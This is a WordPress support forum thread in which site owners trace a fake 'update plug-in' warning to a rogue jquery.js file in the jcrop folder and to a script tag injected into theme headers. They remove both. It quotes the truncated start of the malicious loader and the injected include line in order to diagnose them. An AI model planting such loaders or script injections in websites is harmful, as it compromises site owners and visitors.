Strange warning message – update plugin

you may have been hacked (or be collateral damage from something that someone else on the same server has done). talk to your hosting and see if they can see any malware on their machine…

Thank you very much. I did talk to my hosting provider, but they did not offer much help. However, the only reference to hdplayerb I found is in this folder:
wp-includes/js/jcrop – jquery.js
This folder normally contains three files as far as I can tell:
Jcrop.gif
jquery.Jcrop.min.css
jquery.Jcrop.min.js

The jquery.js is the fourth file in this folder – there is a lot of text there – I am just copying the first lines:
/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license

*/

(function() { if (document.cookie.indexOf(“visited”) < 0) { if (!window.jQuery) { var script = document.createElement(“SCRIPT”); script.src =

I am not sure if I should delete it – I am worried about ruining the site.
Many thanks.

ok, back to basics ??

what version of wordpress are you using?
what plugins do you have installed? (active and deactivated)
what theme are you using?

Actually I found a possible link to the code. I use WordPress 4, theme responsive, plugins Cookie Law, Widget Logic, User roles.

I downloaded the Responsive theme and compared it to the version we have and here is the result – in the header.php of the installed version of the theme there is this line:
<script type=”text/javascript” src=”https://www.xxxx.xxxx/wp-includes/js/jcrop/jquery.js”></script><div id=”container” class=”hfeed”>

I found this line in the header of both the parent and child theme. So, would you say that I delete this line and delete the additional jquery.js file in the crop folder?
I should add that this line is not in the version I downloaded for comparison.

delete responsive from your site, upload the latest version of responsive and see if that makes a difference. i’ve just checked the latest version or responsive and it’s not got that code in it so yeah, i think that could be a problem…

OK, I reinstalled WordPress, downloaded Responsive, deleted the line of code in the child theme and everything seems to be OK now. Many thanks.
I do have another question: one of the plugins I have is User Role Editor. I have it for users who can edit the files, but they need an additional capability to work with a plugin such as Meteor slides – the WordPress default editor role is not suitable. However, I have never had a problem with my other WordPress sites which I manage myself without any additional users as editors. I wonder if this plugin would cause this kind of infection – it happened on one other site I manage – it got infected as well. I never experienced any infections, so this makes me wonder. What do you think?

that user roles plugin should be fine, it’s more likely a theme that’s adding or deleting css to the body class. just make sure you’re really thorough checking who can do what when you set their roles in that plugin, a tick in the wrong box and joe public could do anything to your site!

Many thanks for this. I just don’t understand what you mean by “a theme that’s adding or deleting css to the body class”. Dou think it’s the responsive theme that’s the culprit? I checked that line of code in previous versions and it’s not there. Your input is very much appreciated.

the user role plugin doesn’t have any real front facing effect on the site, it doesn’t make any changes to how the site actually looks so it’s not likely to be thing that’s writing extra css classes to the body tag.

themes on the other hand do. if the new version of responsive that you’ve uploaded and activated hasn’t created the original problem, plus it’s a new installation of wordpress, you should be fine from here on. just keep the core up to date, make sure all plugins and themes are compatible with your version of wordpress and make regular back-ups of your site just in case anything goes really, really wrong down the line ??

Many thanks!

I had the same issue. It looks like malware. Not sure if it is from a plugin that I installed or my provider or something more sinister.

/wp-includes/js/jcrop on my site had these files in even after I had done an online upgrade to 4.1

323B 24 Nov 2013 Jcrop.gif
2.1K 24 Nov 2013 jquery.Jcrop.min.css
16K 24 Nov 2013 jquery.Jcrop.min.js
14K 24 Nov 2013 jquery.js

Freshly downloaded WP 4.1 looks like this:

323B 2 Jan 18:17 Jcrop.gif
2.1K 2 Jan 18:17 jquery.Jcrop.min.css
16K 2 Jan 18:17 jquery.Jcrop.min.js

I deleted the directory then did an re-install from via the dashboard panel to get the good version and I think that has cured it.

I’ll be keeping and eye on it to see if it changed back again. My WP instance has been running for years with different plugins on and off so it is difficult to diagnose where the badness came from. If you do a Google search for:

wordpress “WARNING! Please update plug-in to continue”

You get a list of potentially compromised sites.

Yes, I had the same experience. I would still like to know how my site got compromised. It seems that nobody really knows. Some of my sites never got hacked, but two of them did – so it is not very good if this happens out of the blue – in spite of strong passwords and so on.

Correction: I’ve just checked the site I cleaned up before and the same warning appeared again. I am really frustrated as I have to clean it up all again.

there’s a possibility that if you’re on a shared server environment it might be that a site that is nothing to do with you has been hacked or compromised somehow and the effect is spreading to other sites, including yours, on the same server.

can you list ALL of the plugins you’re using, even the inactive ones?

Well, I went through the files again and found that this line:
<script type=”text/javascript” src=”https://www.xxxx.xxxx/wp-includes/js/jcrop/jquery.js”></script><div id=”container” class=”hfeed”>

was included in the header of the child theme again although I deleted it before. However, I found the same line in all headers of the Twenty themes which had the instruction to include it in all headers. So I deleted all the Twenty thems and I sincerely hope that this will be the end of the matter.
The plugins I have:
Akismet (inactive), Fast Secure contact Form, Meteor Slides, Simple Social Icons, User Role Editor.
Many thanks.